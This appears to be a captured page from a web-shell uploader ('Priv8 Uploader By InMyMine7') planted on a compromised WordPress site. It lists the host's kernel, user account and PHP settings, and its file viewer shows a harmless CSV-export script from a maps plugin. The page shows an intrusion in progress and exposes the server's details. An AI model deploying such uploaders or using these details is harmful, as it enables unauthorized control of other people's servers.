GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/public_html/wp-content/plugins/google-maps/assets/js/admin/extract-to-csv.js
function hugeitMapsJSONToCSVConvertor(JSONData, ReportTitle, ShowLabel) {
    /*If JSONData is not an object then JSON.parse will parse the JSON string in an Object*/
    var arrData = typeof JSONData != 'object' ? JSON.parse(JSONData) : JSONData;
    var CSV = '';
    /*Set Report title in first row or line*/
    CSV += ReportTitle + '\r\n\n';
    /*This condition will generate the Label/Header*/
    if (ShowLabel) {
        var row = "";
        /*This loop will extract the label from 1st index of on array*/
        for (var index in arrData[0]) {
            /*Now convert each value to string and comma-seprated*/
            row += index + ',';
        }
        row = row.slice(0, -1);
        /*append Label row with line break*/
        CSV += row + '\r\n';
    }
    /*1st loop is to extract each row*/
    for (var i = 0; i < arrData.length; i++) {
        var row = "";
        row=arrData[i];
        /*2nd loop will extract each column and convert it in string comma-seprated*/
        row.slice(0, row.length - 1);
        /*add a line break after each row*/
        CSV += row + '\r\n';
    }
    if (CSV == '') {
        alert("Invalid data");
        return;
    }
    var fileName = "";
    fileName += ReportTitle.replace(/ /g,"_");
    var uri = 'data:text/csv;charset=utf-8,' + escape(CSV);
    // Now the little tricky part.
    // you can use either>> window.open(uri);
    // but this will not work in some browsers
    // or you will not get the correct file extension
    //this trick will generate a temp <a /> tag
    var link = document.createElement("a");
    link.href = uri;
    //set the visibility hidden so it will not effect on your web-layout
    link.style = "visibility:hidden";
    link.download = fileName + ".csv";
    //this part will append the anchor tag and remove it after automatic click
    document.body.appendChild(link);
    link.click();
    document.body.removeChild(link);
}

jQuery(document).ready(function(){
    jQuery(".extract_to_csv_button").on("click",function(){
        var map_id=jQuery(this).data("map-id"),
            data = {
                action:"hugeit_maps_export_to_csv",
                nonce: extractCSVL10n.nonce,
                map_id:map_id
            };

        jQuery.post(ajaxurl,data,function(response){
            if(response.success){
                var name="";
                if(response.map_name!=""){
                    name=response.map_name;
                }else{
                    name=map_id
                }
                hugeitMapsJSONToCSVConvertor(response.string, "Map Info_"+name, false);
            }

        },'json');
    });
});